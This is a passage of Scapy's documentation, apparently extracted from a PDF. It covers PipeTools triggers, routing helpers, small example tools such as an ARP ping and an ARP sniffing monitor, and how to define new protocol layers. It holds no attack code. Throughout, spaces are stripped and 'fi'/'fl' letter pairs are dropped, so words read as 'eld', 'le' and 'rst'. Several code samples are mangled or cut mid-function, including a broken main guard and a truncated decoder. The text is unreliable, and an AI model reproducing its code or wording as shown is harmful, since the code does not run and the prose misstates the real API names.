However,usingaDownDrainwouldbringthehighmessagesfromCLIHighFeedertothelowerchannel:>>>a2=CLIHighFeeder()>>>b2=DownDrain()>>>a2>>b2>>>b2>b>>>a2.
send("hello")4.
3.
4ThePipeEngineclassThePipeEngineclassisthecoreclassofthePipetoolsystem.
ItmustbeinitializedandpassedthelistofallSources.
Therearetwowaysofpassingsources:duringinitialization:p=PipeEngine(source1,source2,.
.
.
)usingtheadd(source)methodAPipeEngineclassmustbestartedwith.
start()function.
Itmaybeforce-stoppedwiththe.
stop(),orcleanlystoppedwith.
wait_and_stop()AcleanstoponlyworksiftheSourcesisexhausted(hasnodatatosendleft).
Itcanbeprintedintoagraphusing.
graph()methods.
seehelp(do_graph)forthelistofavail-ablekeywordarguments.
4.
3.
5ScapyadvancedPipeToolobjectsNote:Unlikethepreviousobjects,thosearenotlocatedinscapy.
pipetoolbutinscapy.
scapypipesNowthatyouknowthedefaultPipeToolobjects,herearesomemoreadvancedones,basedonpacketfunctionalities.
SniffSource:Readpacketsfromaninterfaceandsendthemtolowexit.
RdpcapSource:ReadpacketsfromaPCAPlesendthemtolowexit.
InjectSink:Packetsreceivedonlowinputareinjected(sent)toaninterfaceWrpcapSink:PacketsreceivedonlowinputarewrittentoPCAPle4.
3.
PipeTools81ScapyDocumentation,Release2.
4.
4.
UDPDrain:UDPpayloadsreceivedonhighentryaresentoverUDP(complicated,havealookathelp(UDPDrain))FDSourceSink:UsealedescriptorassourceandsinkTCPConnectPipe:TCPconnecttoaddr:portanduseitassourceandsinkTCPListenPipe:TCPlistenon[addr:]portandusetherstconnectionassourceandsink(complicated,havealookathelp(TCPListenPipe))4.
3.
6TriggeringSomespecialsortofDrainsexists:theTriggerDrains.
TriggerDrainsarespecialdrains,thatonreceivingdatanotonlypassitbybutalsosenda"Trigger"input,thatisreceivedandhandledbythenexttriggereddrain(ifitexists).
Forexample,hereisabasicTriggerDrainusage:>>>a=CLIFeeder()>>>d=TriggerDrain(lambdamsg:True)#Passmessagesandtriggerwhena→conditionismet>>>d2=TriggeredValve()>>>s=ConsoleSink()>>>a>d>d2>s>>>d^d2#Linkthetriggers>>>p=PipeEngine(s)>>>p.
start()INFO:Pipeenginethreadstarted.
>>>>>>a.
send("thiswillbeprinted")>'thiswillbeprinted'>>>a.
send("thiswon't,becausethevalvewasswitched")>>>a.
send("thiswill,becausethevalvewasswitchedagain")>'thiswill,becausethevalvewasswitchedagain'>>>p.
stop()SeveraltriggeringDrainsexist,theyareprettyexplicit.
Itishighlyrecommendedtocheckthedocusinghelp([theclass])TriggeredMessage:SendapreloadedmessagewhentriggeredandtriggerinchainTriggerDrain:PassmessagesandtriggerwhenaconditionismetTriggeredValve:Letmessagesalternativelypassornot,changingontriggerTriggeredQueueingValve:Letmessagesalternativelypassorqueued,changingontriggerTriggeredSwitch:Letmessagesalternativelyhighorlow,changingontrigger82Chapter4.
AdvancedusageCHAPTERFIVESCAPYROUTINGScapyneedstoknowmanythingsrelatedtothenetworkcongurationofyourmachine,tobeabletoroutepacketsproperly.
Forinstance,theinterfacelist,theIPv4andIPv6routes.
.
.
ThismeansthatScapyhasimplementedbindingstogetthisinformation.
ThosebindingsareOSspecic.
Thiswillshowyouhowtouseitforadifferentusage.
Note:ScapywillhaveOS-specicfunctionsunderlyingsomehighlevelfunctions.
ThispageONLYpresentsthecrossplatformones5.
1ListinterfacesUseget_if_list()togettheinterfacelist>>>get_if_list()['lo','eth0']Youcanalsousetheconf.
ifacesobjecttogetinterfaces.
Inthisexample,theobjectisrstdisplayedasascolumn.
Then,thedev_from_index()isusedtoaccesstheinterfaceatindex2.
>>>conf.
ifacesSRCINDEXIFACEIPv4IPv6MACsys2eth010.
0.
0.
5fe80::10a:2bef:dc12:afaeMicrosof:12:cb:efsys1lo127.
0.
0.
1::100:00:00:00:00:00>>>conf.
ifaces.
dev_from_index(2)5.
2IPv4routesNote:Ifyouwanttochangeoredittheroutes,havealookatthe"Routing"sectioninUsageTheroutesarestoresinconf.
route.
Youcanuseittodisplaytheroutes,orgetspecicrouting>>>conf.
routeNetworkNetmaskGatewayIfaceOutputIPMetric(continuesonnextpage)83ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)0.
0.
0.
00.
0.
0.
010.
0.
0.
1eth010.
0.
0.
510010.
0.
0.
0255.
255.
255.
00.
0.
0.
0eth010.
0.
0.
50127.
0.
0.
0255.
0.
0.
00.
0.
0.
0lo127.
0.
0.
11168.
63.
129.
16255.
255.
255.
25510.
0.
0.
1eth010.
0.
0.
5100169.
254.
169.
254255.
255.
255.
25510.
0.
0.
1eth010.
0.
0.
5100GettherouteforaspecicIP:conf.
route.
route()willreturn(interface,outgoing_ip,gateway)>>>conf.
route.
route("127.
0.
0.
1")('lo','127.
0.
0.
1','0.
0.
0.
0')5.
3IPv6routesSamethanIPv4butwithconf.
route65.
4GetrouterIPaddress>>>gw=conf.
route.
route("0.
0.
0.
0")[2]>>>gw'10.
0.
0.
1'5.
5GetlocalIP/IPofaninterfaceUseconf.
iface>>>ip=get_if_addr(conf.
iface)#defaultinterface>>>ip=get_if_addr("eth0")>>>ip'10.
0.
0.
5'5.
6GetlocalMAC/MACofaninterface>>>mac=get_if_hwaddr(conf.
iface)#defaultinterface>>>mac=get_if_hwaddr("eth0")>>>mac'54:3f:19:c9:38:6d'84Chapter5.
ScapyroutingScapyDocumentation,Release2.
4.
4.
5.
7GetMACbyIP>>>mac=getmacbyip("10.
0.
0.
1")>>>mac'f3:ae:5e:76:31:9b'5.
7.
GetMACbyIP85ScapyDocumentation,Release2.
4.
4.
86Chapter5.
ScapyroutingCHAPTERSIXBUILDYOUROWNTOOLSYoucanuseScapytomakeyourownautomatedtools.
YoucanalsoextendScapywithouthavingtoedititssourcele.
Ifyouhavebuiltsomeinterestingtools,pleasecontributebacktothegithubwiki!
6.
1UsingScapyinyourtoolsYoucaneasilyuseScapyinyourowntools.
Justimportwhatyouneedanddoit.
ThisrstexampletakesanIPoranameasrstparameter,sendanICMPechorequestpacketanddisplaythecompletelydissectedreturnpacket:#!
/usr/bin/envpythonimportsysfromscapy.
allimportsr1,IP,ICMPp=sr1(IP(dst=sys.
argv[1])/ICMP())ifp:p.
show()6.
1.
1ConguringScapy'sloggerScapyconguresaloggerautomaticallyusingPython'sloggingmodule.
Thisloggeriscustomtosupportthingslikecolorsandfrequencylters.
Bydefault,itissettoWARNING(whennotininteractivemode),butyoucanchangethatusingforinstance:importlogginglogging.
getLogger("scapy").
setLevel(logging.
CRITICAL)Todisablealmostalllogs.
(Scapysimplywon'tworkproperlyifaCRITICALfailureoccurs)Note:Oninteractivemode,thedefaultloglevelisINFO87ScapyDocumentation,Release2.
4.
4.
6.
1.
2MoreexamplesThisisamorecomplexexamplewhichdoesanARPpingandreportswhatitfoundwithLaTeXformat-ting:#!
/usr/bin/envpython#arping2tex:arpingsanetworkandoutputsaLaTeXtableasaresultimportsysiflen(sys.
argv)!
=2:print"Usage:arping2tex\neg:arping2tex192.
168.
1.
0/24"sys.
exit(1)fromscapy.
allimportsrp,Ether,ARP,confconf.
verb=0ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.
argv[1]),timeout=2)printr"\begin{tabular}{|l|l|}"printr"\hline"printr"MAC&IP\\"printr"\hline"forsnd,rcvinans:printrcv.
sprintf(r"%Ether.
src%&%ARP.
psrc%\\")printr"\hline"printr"\end{tabular}"HereisanothertoolthatwillconstantlymonitorallinterfacesonamachineandprintallARPrequestitsees,evenon802.
11framesfromaWi-Ficardinmonitormode.
Notethestore=0parametertosniff()toavoidstoringallpacketsinmemoryfornothing:#!
/usr/bin/envpythonfromscapy.
allimport*defarp_monitor_callback(pkt):ifARPinpktandpkt[ARP].
opin(1,2):#who-hasoris-atreturnpkt.
sprintf("%ARP.
hwsrc%%ARP.
psrc%")sniff(prn=arp_monitor_callback,filter="arp",store=0)Forareallifeexample,youcancheckWitap.
Sadly,WitapisnolongermaintainedbutnonethelessdemonstratesScapy'sWi-Ficapabilities.
Thecodecanberetrievedfromgithub.
6.
2ExtendingScapywithadd-onsIfyouneedtoaddsomenewprotocols,newfunctions,anything,youcanwriteitdirectlyintoScapy'ssourcele.
Butthisisnotveryconvenient.
EvenifthosemodicationsaretobeintegratedintoScapy,itcanbemoreconvenienttowritetheminaseparatele.
Onceyou'vedonethat,youcanlaunchScapyandimportyourle,butthisisstillnotveryconve-nient.
AnotherwaytodothatistomakeyourleexecutableandhaveitcalltheScapyfunctionnamedinteract():88Chapter6.
BuildyourowntoolsScapyDocumentation,Release2.
4.
4.
#!
/usr/bin/envpython#SetlogleveltobenefitfromScapywarningsimportlogginglogger=logging.
getLogger("scapy")logger.
setLevel(logging.
INFO)fromscapy.
allimport*classTest(Packet):name="Testpacket"fields_desc=[ShortField("test1",1),ShortField("test2",2)]defmake_test(x,y):returnEther()/IP()/Test(test1=x,test2=y)if__name_main__":interact(mydict=globals(),mybanner="Testadd-onv3.
14")Ifyouputtheabovelistinginthetest_interact.
pyleandmakeitexecutable,you'llget:#.
/test_interact.
pyWelcometoScapy(0.
9.
17.
109beta)Testadd-onv3.
14>>>make_test(42,666)>>6.
2.
ExtendingScapywithadd-ons89ScapyDocumentation,Release2.
4.
4.
90Chapter6.
BuildyourowntoolsCHAPTERSEVENADDINGNEWPROTOCOLSAddinganewprotocol(ormorecorrectly:anewlayer)inScapyisveryeasy.
Allthemagicisintheelds.
Iftheeldsyouneedarealreadythereandtheprotocolisnottoobrain-damaged,thisshouldbeamatterofminutes.
7.
1SimpleexampleAlayerisasubclassofthePacketclass.
AllthelogicbehindlayermanipulationisheldbythePacketclassandwillbeinherited.
Asimplelayeriscompoundedbyalistofeldsthatwillbeeitherconcatenatedwhenassemblingthelayerordissectedonebyonewhendisassemblingastring.
Thelistofeldsisheldinanattributenamedfields_desc.
Eacheldisaninstanceofaeldclass:classDisney(Packet):name="DisneyPacket"fields_desc=[ShortField("mickey",5),XByteField("minnie",3),IntEnumField("donald",1,{1:"happy",2:"cool",3:"angry"})]Inthisexample,ourlayerhasthreeelds.
Therstoneisa2-byteintegereldnamedmickeyandwhosedefaultvalueis5.
Thesecondoneisa1-byteintegereldnamedminnieandwhosedefaultvalueis3.
ThedifferencebetweenavanillaByteFieldandanXByteFieldisonlythefactthatthepreferredhumanrepresentationoftheeld'svalueisinhexadecimal.
Thelasteldisa4-byteintegereldnameddonald.
ItisdifferentfromavanillaIntFieldbythefactthatsomeofthepossiblevaluesoftheeldhaveliteraterepresentations.
Forexample,ifitisworth3,thevaluewillbedisplayedasangry.
Moreover,ifthe"cool"valueisassignedtothiseld,itwillunderstandthatithastotakethevalue2.
Ifyourprotocolisassimpleasthis,itisreadytouse:>>>d=Disney(mickey=1)>>>ls(d)mickey:ShortField=1(5)minnie:XByteField=3(3)donald:IntEnumField=1(1)>>>d.
show()###[DisneyPacket]###mickey=1minnie=0x3donald=happy>>>d.
donald="cool"(continuesonnextpage)91ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)>>>raw(d)'\x00\x01\x03\x00\x00\x00\x02'>>>Disney(_)ThischapterexplainshowtobuildanewprotocolwithinScapy.
Therearetwomainobjectives:Dissecting:thisisdonewhenapacketisreceived(fromthenetworkorale)andshouldbeconvertedtoScapy'sinternals.
Building:Whenonewantstosendsuchanewpacket,somestuffneedstobeadjustedautomati-callyinit.
7.
2LayersBeforediggingintodissectionitself,letuslookathowpacketsareorganized.
>>>p=IP()/TCP()/"AAAA">>>p>>>>>p.
summary()'IP/TCP127.
0.
0.
1:ftp-data>127.
0.
0.
1:wwwS/Raw'Weareinterestedin2"inside"eldsoftheclassPacket:p.
underlayerp.
payloadAndhereisthemain"trick".
Youdonotcareaboutpackets,onlyaboutlayers,stackedoneaftertheother.
Onecaneasilyaccessalayerbyitsname:p[TCP]returnstheTCPandfollowinglayers.
Thisisashortcutforp.
getlayer(TCP).
Note:Thereisanoptionalargument(nb)whichreturnsthenbthlayerofrequiredprotocol.
Let'sputeverythingtogethernow,playingwiththeTCPlayer:>>>tcp=p[TCP]>>>tcp.
underlayer>>>>>tcp.
payloadAsexpected,tcp.
underlayerpointstothebeginningofourIPpacket,andtcp.
payloadtoitspayload.
92Chapter7.
AddingnewprotocolsScapyDocumentation,Release2.
4.
4.
7.
2.
1BuildinganewlayerVERYEASY!
Alayerismainlyalistofelds.
Let'slookatUDPdenition:classUDP(Packet):name="UDP"fields_desc=[ShortEnumField("sport",53,UDP_SERVICES),ShortEnumField("dport",53,UDP_SERVICES),ShortField("len",None),XShortField("chksum",None),]Andyouaredone!
Therearemanyeldsalreadydenedforconvenience,lookatthedoc``^W``sourcesasPhilwouldsay.
So,deningalayerissimplygatheringeldsinalist.
Thegoalisheretoprovidetheefcientdefaultvaluesforeacheldsotheuserdoesnothavetogivethemwhenhebuildsapacket.
ThemainmechanismisbasedontheFieldstructure.
Alwayskeepinmindthatalayerisjustalittlemorethanalistofelds,butnotmuchmore.
So,tounderstandhowlayersareworking,oneneedstolookquicklyathowtheeldsarehandled.
7.
2.
2Manipulatingpackets==manipulatingitseldsAeldshouldbeconsideredindifferentstates:i(nternal):thisisthewayScapymanipulatesit.
m(achine)[thisiswherethetruthis,thatisthelayerasitis]onthenetwork.
h(uman):howthepacketisdisplayedtoourhumaneyes.
Thisexplainsthemysteriousmethodsi2h(),i2m(),m2i()andsoonavailableineacheld:theyaretheconversionfromonestatetoanother,adaptedtoaspecicuse.
Otherspecialfunctions:any2i()guesstheinputrepresentationandreturnstheinternalone.
i2repr()aniceri2h()However,alltheseare"lowlevel"functions.
Thefunctionsaddingorextractingaeldtothecurrentlayerare:addfield(self,pkt,s,val):copythenetworkrepresentationofeldval(belong-ingtolayerpkt)totherawstringpackets:classStrFixedLenField(StrField):defaddfield(self,pkt,s,val):returns+struct.
pack("%is"%self.
length,self.
i2m(pkt,val))getfield(self,pkt,s):extractfromtherawpacketstheeldvaluebelongingtolayerpkt.
Itreturnsalist,the1stelementistherawpacketstringafterhavingremovedtheextractedeld,thesecondoneistheextractedelditselfininternalrepresentation:classStrFixedLenField(StrField):defgetfield(self,pkt,s):returns[self.
length:],self.
m2i(pkt,s[:self.
length])7.
2.
Layers93ScapyDocumentation,Release2.
4.
4.
Whendeningyourownlayer,youusuallyjustneedtodenesome*2*()methods,andsometimesalsotheaddfield()andgetfield().
7.
2.
3Example:variablelengthquantitiesThereisawaytorepresentintegersonavariablelengthquantityoftenusedinprotocols,forinstancewhendealingwithsignalprocessing(e.
g.
MIDI).
EachbyteofthenumberiscodedwiththeMSBsetto1,exceptthelastbyte.
Forinstance,0x123456willbecodedas0xC8E856:defvlenq2str(l):s=[]s.
append(hex(l&0x7F))l=l>>7whilel>0:s.
append(hex(0x80|(l&0x7F)))l=l>>7s.
reverse()return"".
join(chr(int(x,16))forxins)defstr2vlenq(s=""):i=l=0whilei>>f=FOO(data="A"*129)>>>f.
show()###[FOO]###len=0data=→'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA→'Here,lenisnotyetcomputedandonlythedefaultvaluearedisplayed.
Thisisthecurrentinternalrepresentationofourlayer.
Let'sforcethecomputationnow:>>>f.
show2()###[FOO]###len=129data=→'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA→'Themethodshow2()displaystheeldswiththeirvaluesastheywillbesenttothenetwork,butinahumanreadableway,soweseelen=129.
Lastbutnotleast,letuslooknowatthemachinerepresentation:>>>raw(f)'\x81\→x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA→'Therst2bytesare\x81\x01,whichis129inthisencoding.
7.
3DissectingLayersonlyarelistofelds,butwhatisthegluebetweeneacheld,andafter,betweeneachlayer.
Thesearethemysteriesexplaininthissection.
7.
3.
Dissecting95ScapyDocumentation,Release2.
4.
4.
7.
3.
1ThebasicstuffThecorefunctionfordissectionisPacket.
dissect():defdissect(self,s):s=self.
pre_dissect(s)s=self.
do_dissect(s)s=self.
post_dissect(s)payl,pad=self.
extract_padding(s)self.
do_dissect_payload(payl)ifpadandconf.
padding:self.
add_payload(Padding(pad))Whencalled,sisastringcontainingwhatisgoingtobedissected.
selfpointstothecurrentlayer.
>>>p=IP("A"*20)/TCP("B"*32)WARNING:baddataofs(4).
Assumingdataofs=5>>>p>>Packet.
dissect()iscalled3times:1.
todissectthe"A"*20asanIPv4header2.
todissectthe"B"*32asaTCPheader3.
andsincetherearestill12bytesinthepacket,theyaredissectedas"Raw"data(whichissomekindofdefaultlayertype)Foragivenlayer,everythingisquitestraightforward:pre_dissect()iscalledtopreparethelayer.
do_dissect()performtherealdissectionofthelayer.
post_dissection()iscalledwhensomeupdatesareneededonthedissectedinputs(e.
g.
deciphering,uncompressing,.
.
.
)extract_padding()isanimportantfunctionwhichshouldbecalledbyeverylayercontain-ingitsownsize,sothatitcantellapartinthepayloadwhatisreallyrelatedtothislayerandwhatwillbeconsideredasadditionalpaddingbytes.
do_dissect_payload()isthefunctioninchargeofdissectingthepayload(ifany).
Itisbasedonguess_payload_class()(seebelow).
Oncethetypeofthepayloadisknown,thepayloadisboundtothecurrentlayerwiththisnewtype:defdo_dissect_payload(self,s):cls=self.
guess_payload_class(s)p=cls(s,_internal=1,_underlayer=self)self.
add_payload(p)Attheend,allthelayersinthepacketaredissected,andgluedtogetherwiththeirknowntypes.
96Chapter7.
AddingnewprotocolsScapyDocumentation,Release2.
4.
4.
7.
3.
2DissectingeldsThemethodwithallthemagicbetweenalayeranditseldsisdo_dissect().
Ifyouhaveunderstoodthedifferentrepresentationsofalayer,youshouldunderstandthat"dissecting"alayerisbuildingeachofitseldsfromthemachinetotheinternalrepresentation.
GuesswhatThatisexactlywhatdo_dissect()does:defdo_dissect(self,s):flist=self.
fields_desc[:]flist.
reverse()whilesandflist:f=flist.
pop()s,fval=f.
getfield(self,s)self.
fields[f]=fvalreturnsSo,ittakestherawstringpacket,andfeedeacheldwithit,aslongastherearedataoreldsremaining:>>>FOO("\xff\xff"+"B"*8)WhenwritingFOO("\xff\xff"+"B"*8),itcallsdo_dissect().
ThersteldisVarLenQ-Field.
Thus,ittakesbytesaslongastheirMSBisset,thusuntil(andincluding)therst'B'.
ThismappingisdonethankstoVarLenQField.
getfield()andcanbecross-checked:>>>vlenq2str(2097090)'\xff\xffB'Then,thenexteldisextractedthesameway,until2097090bytesareputinFOO.
data(orlessif2097090bytesarenotavailable,ashere).
Iftherearesomebytesleftafterthedissectionofthecurrentlayer,itismappedinthesamewaytothewhatthenextisexpectedtobe(Rawbydefault):>>>FOO("\x05"+"B"*8)>Hence,weneednowtounderstandhowlayersareboundtogether.
7.
3.
3BindinglayersOneofthecoolfeatureswithScapywhendissectinglayersisthatittriestoguessforuswhatthenextlayeris.
Theofcialwaytolink2layersisusingbind_layers()function.
Availableinsidethepacketmodule,thisfunctioncanbeusedasfollowing:bind_layers(ProtoA,ProtoB,FieldToBind=Value)EachtimeapacketProtoA()/ProtoB()willbecreated,theFieldToBindofProtoAwillbeequaltoValue.
Forinstance,ifyouhaveaclassHTTP,youmayexpectthatallthepacketscomingfromorgoingtoport80willbedecodedassuch.
Thisissimplydonethatway:7.
3.
Dissecting97ScapyDocumentation,Release2.
4.
4.
bind_layers(TCP,HTTP,sport=80)bind_layers(TCP,HTTP,dport=80)That'sallfolks!
Noweverypacketrelatedtoport80willbeassociatedtothelayerHTTP,whetheritisreadfromapcapleorreceivedfromthenetwork.
Theguess_payload_class()waySometimes,guessingthepayloadclassisnotasstraightforwardasdeningasingleport.
Forinstance,itcandependonavalueofagivenbyteinthecurrentlayer.
The2neededmethodsare:guess_payload_class()whichmustreturntheguessedclassforthepayload(nextlayer).
Bydefault,ituseslinksbetweenclassesthathavebeenputinplacebybind_layers().
default_payload_class()whichreturnsthedefaultvalue.
ThismethoddenedintheclassPacketreturnsRaw,butitcanbeoverloaded.
Forinstance,decoding802.
11changesdependingonwhetheritiscipheredornot:classDot11(Packet):defguess_payload_class(self,payload):ifself.
FCfield&0x40:returnDot11WEPelse:returnPacket.
guess_payload_class(self,payload)Severalcommentsareneededhere:thiscannotbedoneusingbind_layers()becausethetestsaresupposedtobe"field==value",butitismorecomplicatedhereaswetestasinglebitinthevalueofaeld.
ifthetestfails,noassumptionismade,andweplugbacktothedefaultguessingmechanismscallingPacket.
guess_payload_class()Mostofthetime,deningamethodguess_payload_class()isnotanecessityasthesameresultcanbeobtainedfrombind_layers().
ChangingthedefaultbehaviorIfyoudonotlikeScapy'sbehaviorforagivenlayer,youcaneitherchangeordisableitthroughacalltosplit_layers().
Forinstance,ifyoudonotwantUDP/53tobeboundwithDNS,justaddinyourcode:split_layers(UDP,DNS,sport=53)Noweverypacketwithsourceport53willnotbehandledasDNS,butwhateveryouspecifyinstead.
98Chapter7.
AddingnewprotocolsScapyDocumentation,Release2.
4.
4.
7.
3.
4Underthehood:puttingeverythingtogetherInfact,eachlayerhasaeldpayload_guess.
Whenyouusethebind_layers()way,itaddsthedenednextlayerstothatlist.
>>>p=TCP()>>>p.
payload_guess[({'dport':2000},),({'sport':2000},>>p=IP()/TCP()>>>hexdump(p)0000450000280001000040067CCD7F000001E.
00107F000001001400500000000000000000.
.
.
.
.
.
.
P.
.
.
.
.
.
.
.
002050022000917C0000P.
.
.
|.
.
Callingraw()buildsthepacket:noninstancedeldsaresettotheirdefaultvaluelengthsareupdatedautomaticallychecksumsarecomputed7.
4.
Building99ScapyDocumentation,Release2.
4.
4.
andsoon.
Infact,usingraw()ratherthanshow2()oranyothermethodisnotarandomchoiceasallthefunctionsbuildingthepacketcallsPacket.
__str__()(orPacket.
__bytes__()underPython3).
However,__str__()callsanothermethod:build():def__str__(self):returnnext(iter(self)).
build()Whatisimportantalsotounderstandisthatusually,youdonotcareaboutthemachinerepresentation,thatiswhythehumanandinternalrepresentationsarehere.
So,thecoremethodisbuild()(thecodehasbeenshortenedtokeeponlytherelevantparts):defbuild(self,internal=0):pkt=self.
do_build()pay=self.
build_payload()p=self.
post_build(pkt,pay)ifnotinternal:pkt=selfwhilepkt.
haslayer(Padding):pkt=pkt.
getlayer(Padding)p+=pkt.
loadpkt=pkt.
payloadreturnpSo,itstartsbybuildingthecurrentlayer,thenthepayload,andpost_build()iscalledtoupdatesomelateevaluatedelds(likechecksums).
Last,thepaddingisaddedtotheendofthepacket.
Ofcourse,buildingalayeristhesameasbuildingeachofitselds,andthatisexactlywhatdo_build()does.
7.
4.
2BuildingeldsThebuildingofeacheldofalayeriscalledinPacket.
do_build():defdo_build(self):p=""forfinself.
fields_desc:p=f.
addfield(self,p,self.
getfieldval(f))returnpThecorefunctiontobuildaeldisaddfield().
Ittakestheinternalviewoftheeldandputitattheendofp.
Usually,thismethodcallsi2m()andreturnssomethinglikep.
self.
i2m(val)(whereval=self.
getfieldval(f)).
Ifvalisset,theni2m()isjustamatterofformattingthevaluethewayitmustbe.
Forinstance,ifabyteisexpected,struct.
pack("B",val)istherightwaytoconvertit.
However,thingsaremorecomplicatedifvalisnotset,itmeansnodefaultvaluewasprovidedearlier,andthustheeldneedstocomputesome"stuff"rightnoworlater.
"Rightnow"meansthankstoi2m(),ifallpiecesofinformationareavailable.
Forinstance,ifyouhavetohandlealengthuntilacertaindelimiter.
Ex:countingthelengthuntiladelimiter100Chapter7.
AddingnewprotocolsScapyDocumentation,Release2.
4.
4.
classXNumberField(FieldLenField):def__init__(self,name,default,sep="\r\n"):FieldLenField.
__init__(self,name,default,fld)self.
sep=sepdefi2m(self,pkt,x):x=FieldLenField.
i2m(self,pkt,x)return"%02x"%xdefm2i(self,pkt,x):returnint(x,16)defaddfield(self,pkt,s,val):returns+self.
i2m(pkt,val)defgetfield(self,pkt,s):sep=s.
find(self.
sep)returns[sep:],self.
m2i(pkt,s[:sep])Inthisexample,ini2m(),ifxhasalreadyavalue,itisconvertedtoitshexadecimalvalue.
Ifnovalueisgiven,alengthof"0"isreturned.
TheglueisprovidedbyPacket.
do_build()whichcallsField.
addfield()foreacheldinthelayer,whichinturncallsField.
i2m():thelayerisbuiltIFavaluewasavailable.
7.
4.
3Handlingdefaultvalues:post_buildAdefaultvalueforagiveneldissometimeseithernotknownorimpossibletocomputewhentheeldsareputtogether.
Forinstance,ifweusedaXNumberFieldasdenedpreviouslyinalayer,weexpectittobesettoagivenvaluewhenthepacketisbuilt.
However,nothingisreturnedbyi2m()ifitisnotset.
TheanswertothisproblemisPacket.
post_build().
Whenthismethodiscalled,thepacketisalreadybuilt,butsomeeldsstillneedtobecomputed.
Thisistypicallywhatisrequiredtocomputechecksumsorlengths.
Infact,thisisrequiredeachtimeaeld'svaluedependsonsomethingwhichisnotinthecurrentSo,letusassumewehaveapacketwithaXNumberField,andhavealooktoitsbuildingprocess:classFoo(Packet):fields_desc=[ByteField("type",0),XNumberField("len",None,"\r\n"),StrFixedLenField("sep","\r\n",2)]defpost_build(self,p,pay):ifself.
lenisNoneandpay:l=len(pay)p=p[:1]+hex(l)[2:]+p[2:]returnp+payWhenpost_build()iscalled,pisthecurrentlayer,paythepayload,thatiswhathasalreadybeenbuilt.
Wewantourlengthtobethefulllengthofthedataputaftertheseparator,soweaddits7.
4.
Building101ScapyDocumentation,Release2.
4.
4.
computationinpost_build().
>>>p=Foo()/("X"*32)>>>p.
show2()###[Foo]###type=0len=32sep='\r\n'###[Raw]###load='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'leniscorrectlycomputednow:>>>hexdump(raw(p))00000032300D0A5858585858585858585858.
20.
.
XXXXXXXXXXX001058585858585858585858585858585858XXXXXXXXXXXXXXXX00205858585858XXXXXAndthemachinerepresentationistheexpectedone.
7.
4.
4Handlingdefaultvalues:automaticcomputationAswehavepreviouslyseen,thedissectionmechanismisbuiltuponthelinksbetweenthelayerscreatedbytheprogrammer.
However,itcanalsobeusedduringthebuildingprocess.
InthelayerFoo(),ourrstbyteisthetype,whichdeneswhatcomesnext,e.
g.
iftype=0,nextlayerisBar0,ifitis1,nextlayerisBar1,andsoon.
Wewouldlikethenthiseldtobesetautomaticallyaccordingtowhatcomesnext.
classBar1(Packet):fields_desc=[IntField("val",0),]classBar2(Packet):fields_desc=[IPField("addr","127.
0.
0.
1")]Ifweusetheseclasseswithnothingelse,wewillhavetroublewhendissectingthepacketsasnothingbindsFoolayerwiththemultipleBar*evenwhenweexplicitlybuildthepacketthroughthecalltoshow2():>>>p=Foo()/Bar1(val=1337)>>>p>>>>p.
show2()###[Foo]###type=0len=4sep='\r\n'###[Raw]###load='\x00\x00\x059'Problems:102Chapter7.
AddingnewprotocolsScapyDocumentation,Release2.
4.
4.
1.
typeisstillequalto0whilewewantedittobeautomaticallysetto1.
Wecouldofcoursehavebuiltpwithp=Foo(type=1)/Bar0(val=1337)butthisisnotveryconvenient.
2.
thepacketisbadlydissectedasBar1isregardedasRaw.
ThisisbecausenolinkshavebeensetbetweenFoo()andBar*().
Inordertounderstandwhatweshouldhavedonetoobtaintheproperbehavior,wemustlookathowthelayersareassembled.
WhentwoindependentpacketsinstancesFoo()andBar1(val=1337)arecompoundedwiththe'/'operator,itresultsinanewpacketwherethetwopreviousinstancesarecloned(i.
e.
arenowtwodistinctobjectsstructurallydifferent,butholdingthesamevalues):def__div__(self,other):ifisinstance(other,Packet):cloneA=self.
copy()cloneB=other.
copy()cloneA.
add_payload(cloneB)returncloneAeliftype(other)isstr:returnself/Raw(load=other)Theright-handsideoftheoperatorbecomesthepayloadoftheleft-handside.
Thisisperformedthroughthecalltoadd_payload().
Finally,thenewpacketisreturned.
Note:wecanobservethatifotherisn'taPacketbutastring,theRawclassisinstantiatedtoformthepayload.
Likeinthisexample:>>>IP()/"AAAA">Well,whatadd_payload()shouldimplementJustalinkbetweentwopacketsNotonly,inourcase,thismethodwillappropriatelysetthecorrectvaluetotype.
Instinctivelywefeelthattheupperlayer(therightof'/')cangatherthevaluestosettheeldstothelowerlayer(theleftof'/').
Likepreviouslyexplained,thereisaconvenientmechanismtospecifythebindingsinbothdirectionsbetweentwoneighboringlayers.
Onceagain,theseinformationmustbeprovidedtobind_layers(),whichwillinternallycallbind_top_down()inchargetoaggregatetheeldstooverload.
Inourcasewhatweneedtospecifyis:bind_layers(Foo,Bar1,{'type':1})bind_layers(Foo,Bar2,{'type':2})Then,add_payload()iteratesovertheoverload_fieldsoftheupperpacket(thepayload),gettheeldsassociatedtothelowerpacket(byitstype)andinserttheminoverloaded_fields.
Fornow,whenthevalueofthiseldwillberequested,getfieldval()willreturnthevalueinsertedinoverloaded_fields.
Theeldsaredispatchedbetweenthreedictionaries:fields:eldswhosethevaluehavebeenexplicitlyset,likepdstinTCP(pdst='42')overloaded_fields:overloadedeldsdefault_fields:alltheeldswiththeirdefaultvalue(theseeldsareinitializedaccord-ingtofields_descbytheconstructorbycallinginit_fields()).
Inthefollowingcode,wecanobservehowaeldisselectedanditsvaluereturned:7.
4.
Building103ScapyDocumentation,Release2.
4.
4.
defgetfieldval(self,attr):forfinself.
fields,self.
overloaded_fields,self.
default_fields:iff.
has_key(attr):returnf[attr]returnself.
payload.
getfieldval(attr)Fieldsinsertedinfieldshavethehigherpriority,thenoverloaded_fields,thennallydefault_fields.
Hence,iftheeldtypeissetinoverloaded_fields,itsvaluewillbereturnedinsteadofthevaluecontainedindefault_fields.
Wearenowabletounderstandallthemagicbehindit!
>>>p=Foo()/Bar1(val=0x1337)>>>p>>>>p.
